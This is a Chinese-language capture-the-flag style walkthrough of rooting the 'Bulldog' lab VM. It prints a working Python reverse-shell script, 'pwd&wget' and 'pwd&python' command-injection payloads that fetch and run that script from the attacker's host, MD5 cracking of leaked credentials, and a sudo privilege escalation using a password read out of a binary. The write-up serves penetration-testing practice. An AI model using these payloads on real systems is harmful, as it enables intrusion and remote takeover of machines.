靶机渗透之BULLDOG
渗透环境:
攻击机:kali(10.0.10.198)
靶机:vmbox(10.0.10.208)
连接模式:全部为桥接
探嗅目标
安装好我们的靶机之后开机,然后你的ip地址就出现在靶机界面上面,也省了我们用kali来扫
但是多少这达不到我们模拟实战的过程,真正的渗透谁会把地址摆着给你啊对不对,所以还是要动手用netdiscover来扫一波,直接扫出来然后上nmap扫端口
进行渗透
访问web页面,出现一只斗牛犬
也还行,挺可爱,查看源码也找不到什么端倪,那干脆dirb一波目录
root@cdd:~# dirb http://10.0.10.208
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 3 12:21:24 2019
URL_BASE: http://10.0.10.208/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.10.208/ ----
==> DIRECTORY: http://10.0.10.208/admin/
==> DIRECTORY: http://10.0.10.208/dev/
+ http://10.0.10.208/robots.txt (CODE:200|SIZE:1071)
---- Entering directory: http://10.0.10.208/admin/ ----
==> DIRECTORY: http://10.0.10.208/admin/auth/
==> DIRECTORY: http://10.0.10.208/admin/login/
==> DIRECTORY: http://10.0.10.208/admin/logout/
---- Entering directory: http://10.0.10.208/dev/ ----
==> DIRECTORY: http://10.0.10.208/dev/shell/
---- Entering directory: http://10.0.10.208/admin/auth/ ----
==> DIRECTORY: http://10.0.10.208/admin/auth/group/
==> DIRECTORY: http://10.0.10.208/admin/auth/user/
---- Entering directory: http://10.0.10.208/admin/login/ ----
---- Entering directory: http://10.0.10.208/admin/logout/ ----
---- Entering directory: http://10.0.10.208/dev/shell/ ----
---- Entering directory: http://10.0.10.208/admin/auth/group/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
(Try using FineTunning: '-f')
---- Entering directory: http://10.0.10.208/admin/auth/user/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
(Try using FineTunning: '-f')
-----------------
END_TIME: Tue Sep 3 12:23:15 2019
DOWNLOADED: 32284 - FOUND: 1
有几个可疑页面,一个一个看,第一个肯定是admin;进去后是一个登陆框,弱口令登陆没用,接着看下一个
看到还有一个dev/shell的目录,进去看看;但是是用不了的
网上翻一层到dev,打开源码发现了一些MD5
试着丢去解码,但是发先前面有几个是解不出的,最后几个可以,解码出了之后感觉像是用户名和密码之类的,果断拿去登陆,用户名是@前的用户名
登陆成功后再去访问webshell,可以看到webshell可以使用了,是cmd命令,但是只能用它指定的几个词,用其他的没用
回到我们卡里,新建一个文件夹fakeshell
mkdir fakeshell
放出脚本代码,可以在win编写改好后缀之后拖进kali
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("接收机ip",反弹的端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
进入我们刚新建的fakeshell,然后把shell.py放进来,建立一个http服务器
python -m SimpleHTTPServer 80
回到靶机的webshell页面,我们用命令把我们的shell下载下来
pwd&wget http://10.0.10.198/shell.py
可以看到已经下载成功了,接下来在kali监听端口(端口多少取决与你编辑脚本的时候,填入的是多少端口,我这里用443).打开监听后,回到靶机webshell运行shell,然后kali就会反弹shell
pwd&python shell.py
拿到shell之后我们cd到home/bulldogadmin/下,然后ls,ls你会发现啥都没有,因为有一些是隐藏文件需要用
ls -la
进去之后看到一个文件夹.hiddenadmindirectory,继续跟进(记得.也要打上去,不然报错你就一脸懵)
用strings看一下最长的那串
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
东西有点多,不要慌,一点一点看
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
从程序中分析出这几行应该是密码,但是最后的H不是密码的一部分,密码:SUPERultimatePASSWORDyouCANTget
执行python shell完全交互式
sudo python -c 'import pty; pty.spawn("/bin/bash")'
提示你输入密码,我们提交刚才得到的超级密码即可拿到root
拿到root虽然说已经是提权成功了,但是我们没走到最终那条路
总结
本次渗透正式结束,本次渗透涉及到了MD5解密,cmd命令行的使用,以及发掘隐藏文件,还有就是提权;多打靶机可以接触到更多不同的拿shell和提权的方法,丰富自己的渗透经验